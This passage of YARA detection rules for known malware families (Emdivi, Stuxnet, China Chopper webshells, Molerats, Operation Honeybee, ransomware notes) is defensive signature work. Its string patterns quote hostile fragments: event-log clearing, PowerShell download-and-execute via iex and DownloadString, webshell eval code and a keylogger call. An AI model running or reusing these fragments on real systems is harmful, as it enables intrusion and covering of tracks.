		$se6 = "zdHJhdHVtK3RjcDovL"
		$se7 = "c3RyYXR1bSt1ZHA6Ly"
		$se8 = "N0cmF0dW0rdWRwOi8v"
		$se9 = "zdHJhdHVtK3VkcDovL"

	condition:
		filesize < 5000KB and 1 of them
}

rule Emdivi_SFX
{
	meta:
		description = "Detects Emdivi malware in SFX Archive"
		author = "Florian Roth (Nextron Systems) @Cyber0ps"
		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
		date = "2015-08-20"
		score = 70
		hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
		hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
		id = "51367190-2e8d-507c-a19f-996bc6960977"

	strings:
		$x1 = "Setup=unsecess.exe" fullword ascii
		$x2 = "Setup=leassnp.exe" fullword ascii
		$s1 = "&Enter password for the encrypted file:" fullword wide
		$s2 = ";The comment below contains SFX script commands" fullword ascii
		$s3 = "Path=%temp%" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 740KB and ( 1 of ( $x* ) and all of ( $s* ) )
}

rule Emdivi_Gen1
{
	meta:
		description = "Detects Emdivi Malware"
		author = "Florian Roth (Nextron Systems) @Cyber0ps"
		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
		date = "2015-08-20"
		score = 80
		super_rule = 1
		hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
		hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
		hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
		hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
		id = "807cf3f9-4f58-5d22-88b2-9adb7866979f"

	strings:
		$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
		$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
		$x3 = "userControl-v80.exe" fullword ascii
		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
		$s2 = "http://www.msftncsi.com" fullword wide
		$s3 = "net use | find /i \"c$\"" fullword wide
		$s4 = " /del /y & " fullword wide
		$s5 = "\\auto.cfg" wide
		$s6 = "/ncsi.txt" fullword wide
		$s7 = "Dcmd /c" fullword wide
		$s8 = "/PROXY" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule Emdivi_Gen2
{
	meta:
		description = "Detects Emdivi Malware"
		author = "Florian Roth (Nextron Systems) @Cyber0ps"
		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
		date = "2015-08-20"
		modified = "2023-01-27"
		super_rule = 1
		score = 80
		hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
		hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
		hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
		id = "9a77c85c-84b0-5e0f-93bc-e17e2aaec095"

	strings:
		$s1 = "%TEMP%\\IELogs\\" ascii
		$s2 = "MSPUB.EXE" fullword ascii
		$s3 = "%temp%\\" ascii
		$s4 = "\\NOTEPAD.EXE" ascii
		$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
		$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
		$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1300KB and 6 of them
}

rule MAL_Emdivi_Gen3
{
	meta:
		description = "Detects Emdivi Malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
		date = "2015-08-20"
		modified = "2023-01-06"
		super_rule = 1
		score = 80
		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
		hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
		id = "c3d712ae-3f8e-578c-81cd-fd3e48213875"

	strings:
		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
		$s2 = "\\Mozilla\\Firefox\\Profiles\\" ascii
		$s4 = "\\auto.cfg" ascii
		$s5 = "/ncsi.txt" fullword ascii
		$s6 = "/en-us/default.aspx" fullword ascii
		$s7 = "cmd /c" fullword ascii
		$s9 = "APPDATA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 850KB and ( ( $x1 and 1 of ( $s* ) ) or ( 4 of ( $s* ) ) )
}

rule Emdivi_Gen4
{
	meta:
		description = "Detects Emdivi Malware"
		author = "Florian Roth (Nextron Systems) @Cyber0ps"
		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
		date = "2015-08-20"
		super_rule = 1
		score = 80
		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
		hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
		hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
		hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
		hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
		hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
		id = "02629873-a797-51ff-83fc-af499cafa1e8"

	strings:
		$s1 = ".http_port\", " fullword wide
		$s2 = "UserAgent: " fullword ascii
		$s3 = "AUTH FAILED" fullword ascii
		$s4 = "INVALID FILE PATH" fullword ascii
		$s5 = ".autoconfig_url\", \"" fullword wide
		$s6 = "FAILED TO WRITE FILE" fullword ascii
		$s7 = ".proxy" fullword wide
		$s8 = "AuthType: " fullword ascii
		$s9 = ".no_proxies_on\", \"" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 853KB and all of them
}

rule apt_CN_Tetris_JS_advanced_1
{
	meta:
		author = "@imp0rtp3 (modified by Florian Roth)"
		description = "Unique code from Jetriz, Swid & Jeniva of the Tetris framework"
		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
		date = "2020-09-06"
		id = "a56f69f5-3562-52ab-9686-411019c51055"

	strings:
		$a1 = "var a0_0x"
		$b1 = "a0_0x" ascii
		$cx1 = "))),function(){try{var _0x"
		$cx2 = "=window)||void 0x0===_0x"
		$cx3 = "){if(opener&&void 0x0!==opener["
		$cx4 = "String['fromCharCode'](0x"
		$e1 = "')](__p__)"

	condition:
		$a1 at 0 or ( filesize < 1000KB and ( #b1 > 300 or #e1 > 1 or 2 of ( $cx* ) ) )
}

rule apt_CN_Tetrisplugins_JS
{
	meta:
		author = "@imp0rtp3"
		description = "Code and strings of plugins from the Tetris framework loaded by Swid"
		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
		date = "2020-09-06"
		id = "83e6fbad-55d6-5229-a17d-8929e0e658f8"

	strings:
		$a3 = "(0xbb8);this['socketWatcher'](0xbb9);this["
		$a4 = "a2869674571f77b5a0867c3d71db5856"
		$a5 = "\\x0a\\x20\\x20var\\x20data\\x20=\\x20{}\\x0a\\x20\\x20window.c\\x20=\\x200\\x0a\\x20\\x20script2\\x20=\\x20document.createElement(\\x22script\\x22)\\x0a\\x20\\x20script2.async\\x20=\\x20true\\x0a\\x20\\x20script2.src\\x20=\\x20\\x22"
		$a6 = "{isPluginCallback:\\x20true,\\x20data,\\x20plugin:\\x20'"
		$a7 = "\\x20\\x22*\\x22)\\x0a\\x20\\x20}\\x0a\\x20\\x20document.documentElement.appendChild("
		$b1 = "String(str).match(/red\">(.*?)<\\/font>/)"
		$b2 = "['data']);}};}},{'key':'run','value':function _0x"
		$b3 = "},{'plugin':this['plugin'],'save':!![],'type':_typeof("
		$b4 = "Cannot\\x20call\\x20a\\x20class\\x20as\\x20a\\x20function"
		$b5 = "The\\x20command\\x20is\\x20sent\\x20successfully,\\x20wait\\x20for\\x20the\\x20result\\x20to\\x20return"
		$b6 = "getUserMedia\\x20is\\x20not\\x20implemented\\x20in\\x20this\\x20browser"
		$b7 = "{'autoplay':'true'},!![]);setTimeout(function(){return $('#'+"
		$b8 = "keyLogger($('input'));\n        keyLogger($('textarea'));"
		$b9 = "api.loadJS(\"\".concat(api.base.baseUrl"
		$b10 = "\"\".concat(imgUrls[i], \"?t=\""
		$b11 = "key: \"report\",\n      value: function report(data) {\n        return this.api.callback"
		$b12 = "that.api.base.debounce("
		$b13 = "'className','restOfNavigator','push'"
		$b14 = ";};'use strict';function _typeof("
		$c1 = "/public/dependence/jquery"
		$c2 = "'http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png'"
		$c3 = "'163.com not login';"
		$c4 = "'ws://localhost:'"
		$c5 = "function _typeof(obj) { \"@babel/helpers - typeof\"; "
		$c6 = "'socketWatcher'"
		$c7 = "['configurable']=!![];"
		$c8 = "')]({'status':!![],'data':_0x"
		$c9 = "')]={'localStorage':'localStorage'in window?window[_0x"
		$c10 = "Browser not supported geolocation.');"
		$c11 = "')]({'status':!![],'msg':'','data':_0x"
		$c12 = "var Plugin = /*#__PURE__*/function () {"
		$use_strict1 = "\"use strict\";"
		$use_strict2 = "'use strict';"
		$e1 = "Cannot\x20call\x20a\x20class\x20as\x20a\x20function" base64
		$e2 = "The\x20command\x20is\x20sent\x20successfully,\x20wait\x20for\x20the\x20result\x20to\x20return" base64
		$e3 = "getUserMedia\x20is\x20not\x20implemented\x20in\x20this\x20browser" base64
		$e4 = "http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png" base64
		$e5 = "/public/dependence/jquery" base64
		$e6 = "\x20\x22*\x22)\x0a\x20\x20}\x0a\x20\x20document.documentElement.appendChild(" base64
		$e8 = "\x0a\x20\x20var\x20data\x20=\x20{}\x0a\x20\x20window.c\x20=\x200\x0a\x20\x20script2\x20=\x20document.createElement(\x22script\x22)\x0a\x20\x20script2.async\x20=\x20true\x0a\x20\x20script2.src\x20=\x20\x22" base64
		$e9 = "{isPluginCallback:\x20true,\x20data,\x20plugin:\x20" base64

	condition:
		filesize < 1000000 and ( any of ( $a* ) or 2 of ( $b* ) or 4 of ( $c* ) or 2 of ( $e* ) or ( any of ( $use_strict* ) and ( ( any of ( $b* ) and 2 of ( $c* ) ) or any of ( $e* ) ) ) )
}

rule ChinaChopper_Generic
{
	meta:
		description = "China Chopper Webshells - PHP and ASPX"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf"
		date = "2015/03/10"
		modified = "2022-10-27"
		id = "2473cef1-88cf-5b76-a87a-2978e6780b4f"

	strings:
		$x_aspx = /%@\sPage\sLanguage=.Jscript.%><%eval\(Request\.Item\[.{,100}unsafe/
		$x_php = /<?php.\@eval\(\$_POST./
		$fp1 = "GET /"
		$fp2 = "POST /"

	condition:
		filesize < 300KB and 1 of ( $x* ) and not 1 of ( $fp* )
}

rule StuxNet_Malware_1
{
	meta:
		description = "Stuxnet Sample - file malware.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "9c891edb5da763398969b6aaa86a5d46971bd28a455b20c2067cb512c9f9a0f8"
		id = "1f475dc3-ebb3-508f-b696-3d9ea270b13d"

	strings:
		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }

	condition:
		all of them
}

rule Stuxnet_Malware_2
{
	meta:
		description = "Stuxnet Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
		id = "2865353c-44c5-5280-878b-daadcef017b8"

	strings:
		$s1 = "\\SystemRoot\\System32\\hal.dll" wide
		$s2 = "http://www.jmicron.co.tw0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 70KB and all of them
}

rule StuxNet_dll
{
	meta:
		description = "Stuxnet Sample - file dll.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "9e392277f62206098cf794ddebafd2817483cfd57ec03c2e05e7c3c81e72f562"
		id = "92d812a6-2622-56e4-96c5-eb65ab7055b9"

	strings:
		$s1 = "SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and $s1
}

rule Stuxnet_Shortcut_to
{
	meta:
		description = "Stuxnet Sample - file Copy of Shortcut to.lnk"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "801e3b6d84862163a735502f93b9663be53ccbdd7f12b0707336fecba3a829a2"
		id = "582ab12b-808e-5d5c-ba36-3bb987c4c552"

	strings:
		$x1 = "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Kingston&Prod_DataTraveler_2.0&Rev_PMAP#5B6B098B97BE&0#{53f56307-b6bf-11d0-94f2-00a0c" wide

	condition:
		uint16( 0 ) == 0x004c and filesize < 10KB and $x1
}

rule Stuxnet_Malware_3
{
	meta:
		description = "Stuxnet Sample - file ~WTR4141.tmp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "6bcf88251c876ef00b2f32cf97456a3e306c2a263d487b0a50216c6e3cc07c6a"
		hash2 = "70f8789b03e38d07584f57581363afa848dd5c3a197f2483c6dfa4f3e7f78b9b"
		id = "1b0b301a-bf29-5080-a7d6-4d5f389bdf50"

	strings:
		$x1 = "SHELL32.DLL.ASLR." fullword wide
		$s1 = "~WTR4141.tmp" fullword wide
		$s2 = "~WTR4132.tmp" fullword wide
		$s3 = "totalcmd.exe" fullword wide
		$s4 = "wincmd.exe" fullword wide
		$s5 = "http://www.realtek.com0" fullword ascii
		$s6 = "{%08x-%08x-%08x-%08x}" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and ( $x1 or 3 of ( $s* ) ) ) or ( 5 of them )
}

rule Stuxnet_Malware_4
{
	meta:
		description = "Stuxnet Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
		hash2 = "1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c"
		id = "fd3fa395-15f1-5a11-9740-03b897e4620b"

	strings:
		$x1 = "\\objfre_w2k_x86\\i386\\guava.pdb" ascii
		$x2 = "MRxCls.sys" fullword wide
		$x3 = "MRXNET.Sys" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and 1 of them ) or ( all of them )
}

rule Stuxnet_maindll_decrypted_unpacked
{
	meta:
		description = "Stuxnet Sample - file maindll.decrypted.unpacked.dll_"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "4c3d7b38339d7b8adf73eaf85f0eb9fab4420585c6ab6950ebd360428af11712"
		id = "7009a41c-0588-5392-ae1c-045e0a5ee56b"

	strings:
		$s1 = "%SystemRoot%\\system32\\Drivers\\mrxsmb.sys;%SystemRoot%\\system32\\Drivers\\*.sys" fullword wide
		$s2 = "<Actions Context=\"%s\"><Exec><Command>%s</Command><Arguments>%s,#%u</Arguments></Exec></Actions>" fullword wide
		$s3 = "%SystemRoot%\\inf\\oem7A.PNF" fullword wide
		$s4 = "%SystemRoot%\\inf\\mdmcpq3.PNF" fullword wide
		$s5 = "%SystemRoot%\\inf\\oem6C.PNF" fullword wide
		$s6 = "@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @" wide
		$s7 = "STORAGE#Volume#1&19f7e59c&0&" fullword wide
		$s8 = "view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOLL,MAXLIMI" ascii

	condition:
		6 of them
}

rule Stuxnet_s7hkimdb
{
	meta:
		description = "Stuxnet Sample - file s7hkimdb.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-09"
		hash1 = "4071ec265a44d1f0d42ff92b2fa0b30aafa7f6bb2160ed1d0d5372d70ac654bd"
		id = "e4cb277f-5eee-5405-9d48-d06657392323"

	strings:
		$x1 = "S7HKIMDX.DLL" fullword wide
		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and $x1 and all of ( $op* ) )
}

rule Molerats_Jul17_Sample_1
{
	meta:
		description = "Detects Molerats sample - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
		date = "2017-07-07"
		hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
		id = "b5277255-3ced-5dc5-9490-c5829a0c248b"

	strings:
		$s1 = "ezExODA0Y2U0LTkzMGEtNGIwOS1iZjcwLTlmMWE5NWQwZDcwZH0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{c00" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule Molerats_Jul17_Sample_2
{
	meta:
		description = "Detects Molerats sample - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
		date = "2017-07-07"
		hash1 = "7e122a882d625f4ccac019efb7bf1b1024b9e0919d205105e7e299fb1a20a326"
		id = "7ef02003-83d1-5ec7-952d-1e693375dd4b"

	strings:
		$s1 = "Folder.exe" fullword ascii
		$s2 = "Notepad++.exe" fullword wide
		$s3 = "RSJLRSJOMSJ" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule Molerats_Jul17_Sample_3
{
	meta:
		description = "Detects Molerats sample - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
		date = "2017-07-07"
		hash1 = "995eee4122802c2dc83bb619f8c53173a5a9c656ad8f43178223d78802445131"
		hash2 = "fec657a19356753008b0f477083993aa5c36ebaf7276742cf84bfe614678746b"
		id = "e1a3323e-fe84-59e5-86d9-dca0c261e3c3"

	strings:
		$s1 = "ccleaner.exe" fullword wide
		$s2 = "Folder.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them )
}

rule Molerats_Jul17_Sample_4
{
	meta:
		description = "Detects Molerats sample - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
		date = "2017-07-07"
		hash1 = "512a14130a7a8b5c2548aa488055051ab7e725106ddf2c705f6eb4cfa5dc795c"
		id = "cad0c6a2-d286-52fa-b9b8-793ab9ae048f"

	strings:
		$x1 = "get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'KeyName')" wide
		$x2 = "O.Run C & chrw(34) & \"[System.IO.File]::" wide
		$x3 = "HKCU\\SOFTWARE\\Microsoft\\\\KeyName\"" fullword wide

	condition:
		( filesize < 700KB and 1 of them )
}

rule Molerats_Jul17_Sample_5
{
	meta:
		description = "Detects Molerats sample - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
		date = "2017-07-07"
		hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
		id = "c9dd4f4a-a980-5339-b238-9f53360b89ae"

	strings:
		$x1 = "powershell.exe -nop -c \"iex" nocase ascii
		$x2 = ".run('%windir%\\\\SysWOW64\\\\WindowsPowerShell\\\\" ascii
		$a1 = "Net.WebClient).DownloadString" nocase ascii
		$a2 = "gist.githubusercontent.com" nocase ascii

	condition:
		filesize < 200KB and ( 1 of ( $x* ) or 2 of them )
}

rule Molerats_Jul17_Sample_Dropper
{
	meta:
		description = "Detects Molerats sample dropper SFX - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
		date = "2017-07-07"
		hash1 = "ad0b3ac8c573d84c0862bf1c912dba951ec280d31fe5b84745ccd12164b0bcdb"
		id = "b4622373-b496-51de-abaa-caa665b558b3"

	strings:
		$s1 = "Please remove %s from %s folder. It is unsecure to run %s until it is done." fullword wide
		$s2 = "sfxrar.exe" fullword ascii
		$s3 = "attachment.hta" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule HoneyBee_Dropper_MalDoc
{
	meta:
		description = "Detects samples from Operation Honeybee"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/JAHZVL"
		date = "2018-03-03"
		hash1 = "86981680172bbf0865e7693fe5a2bbe9b3ba12b3f1a1536ef67915daab78004c"
		hash2 = "0d4352322160339f87be70c2f3fe096500cfcdc95a8dea975fdfc457bd347c44"
		id = "4e8dec29-2c0a-5760-91c9-88f67505a7f1"

	strings:
		$x1 = "cmd /c expand %TEMP%\\setup.cab -F:* %SystemRoot%\\System32"
		$x2 = "del /f /q %TEMP%\\setup.cab && cliconfg.exe"
		$s1 = "SELECT * FROM Win32_Processor" fullword ascii
		$s2 = "\"cmd /c `wusa " fullword ascii
		$s3 = "sTempPathP" fullword ascii
		$s4 = "sTempFile" fullword ascii
		$s5 = "GetObjectz" fullword ascii
		$s6 = "\\setup.cab" ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 400KB and ( 1 of ( $x* ) or 4 of them )
}

import "pe"

rule OpHoneybee_Malware_1
{
	meta:
		description = "Detects malware from Operation Honeybee"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/JAHZVL"
		date = "2018-03-03"
		hash1 = "d31fe5cfa884e04ee26f323b8d104dcaa91146f5c7c216212fd3053afaade80f"
		hash2 = "fc2bcd38659ae83fd25b4f7091412ae9ba011612fa4dcc3ef665b2cae2a1d74f"
		hash3 = "2c5e5c86ca4fa172341c6bcbaa50984fb168d650ae9a33f2c6e6dccc1d57b369"
		hash4 = "439c305cd408dbb508e153caab29d17021a7430f1dbaec0c90ac750ba2136f5f"
		id = "5f48434e-efe6-5cd8-85e2-eabf528e6c58"

	strings:
		$x1 = "cmd /c taskkill /im cliconfg.exe /f /t && del /f /q" fullword ascii
		$x2 = "\\FTPCom_vs10\\Release\\Engine.pdb" ascii
		$x3 = "KXU/yP=B29tLzidqNRuf-SbVInw0oCrmWZk6OpFc7A5GTD1QxaJ3H8h4jMeEsYglv" fullword ascii
		$x4 = "D:\\Task\\MiMul\\" ascii
		$s1 = "[DLL_PROCESS_ATTACH]" fullword ascii
		$s2 = "cmd /c systeminfo >%s" fullword ascii
		$s3 = "post.txt" fullword ascii
		$s4 = "\\temp.ini" ascii
		$s5 = "[GetFTPAccountInfo_10001712]" fullword ascii
		$s6 = "ComSysAppMutex" fullword ascii
		$s7 = "From %s (%02d-%02d %02d-%02d-%02d).txt" fullword ascii
		$s8 = "%s %s %c%s%c" fullword ascii
		$s9 = "TO EVERYONE" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "e14b59a79999cc0bc589a4cb5994692a" or pe.imphash ( ) == "64400f452e2f60305c341e08f217b02c" or 1 of ( $x* ) or 3 of them )
}

rule OpHoneybee_MaoCheng_Dropper
{
	meta:
		description = "Detects MaoCheng dropper from Operation Honeybee"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/JAHZVL"
		date = "2018-03-03"
		hash1 = "35904f482d37f5ce6034d6042bae207418e450f4"
		id = "b163e08e-3892-55f6-ae3e-30d2ba3f4310"

	strings:
		$x1 = "\\MaoCheng\\Release\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them
}

rule APT_MAL_MalDoc_CloudAtlas_Oct20_1
{
	meta:
		description = "Detects unknown maldoc dropper noticed in October 2020"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
		date = "2020-10-13"
		hash1 = "7ba76b2311736dbcd4f2817c40dae78f223366f2404571cd16d6676c7a640d70"
		id = "e7caf2b2-caf2-5984-a792-8224f2641bda"

	strings:
		$x1 = "https://msofficeupdate.org" wide

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 300KB and 1 of ( $x* )
}

rule APT_MAL_URL_CloudAtlas_Oct20_2
{
	meta:
		description = "Detects unknown maldoc dropper noticed in October 2020 - file morgue6visible5bunny6culvert7ambo5nun1illuminate4.url"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
		date = "2020-10-13"
		hash1 = "a6a58b614a9f5ffa1d90b5d42e15521f52e2295f02c1c0e5cd9cbfe933303bee"
		id = "91f6362f-1793-58a3-a750-04ec9812b9df"

	strings:
		$hc1 = { 5B 49 6E 74 65 72 6E 65 74 53 68 6F 72 74 63 75
               74 5D 0D 0A 55 52 4C 3D 68 74 74 70 73 3A 2F 2F
               6D 73 6F 66 66 69 63 65 75 70 64 61 74 65 2E 6F
               72 67 }

	condition:
		uint16( 0 ) == 0x495b and filesize < 200 and $hc1 at 0
}

rule SUSP_RANSOMWARE_Indicator_Jul20
{
	meta:
		description = "Detects ransomware indicator"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
		date = "2020-07-28"
		score = 60
		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
		id = "6036fdfd-8474-5d79-ac75-137ac2efdc77"

	strings:
		$ = "Decrypt.txt" ascii wide
		$ = "DecryptFiles.txt" ascii wide
		$ = "Decrypt-Files.txt" ascii wide
		$ = "DecryptFilesHere.txt" ascii wide
		$ = "DECRYPT.txt" ascii wide
		$ = "DecryptFiles.txt" ascii wide
		$ = "DECRYPT-FILES.txt" ascii wide
		$ = "DecryptFilesHere.txt" ascii wide
		$ = "DECRYPT_INSTRUCTION.TXT" ascii wide
		$ = "FILES ENCRYPTED.txt" ascii wide
		$ = "DECRYPT MY FILES" ascii wide
		$ = "DECRYPT-MY-FILES" ascii wide
		$ = "DECRYPT_MY_FILES" ascii wide
		$ = "DECRYPT YOUR FILES" ascii wide
		$ = "DECRYPT-YOUR-FILES" ascii wide
		$ = "DECRYPT_YOUR_FILES" ascii wide
		$ = "DECRYPT FILES.txt" ascii wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1400KB and 1 of them
}

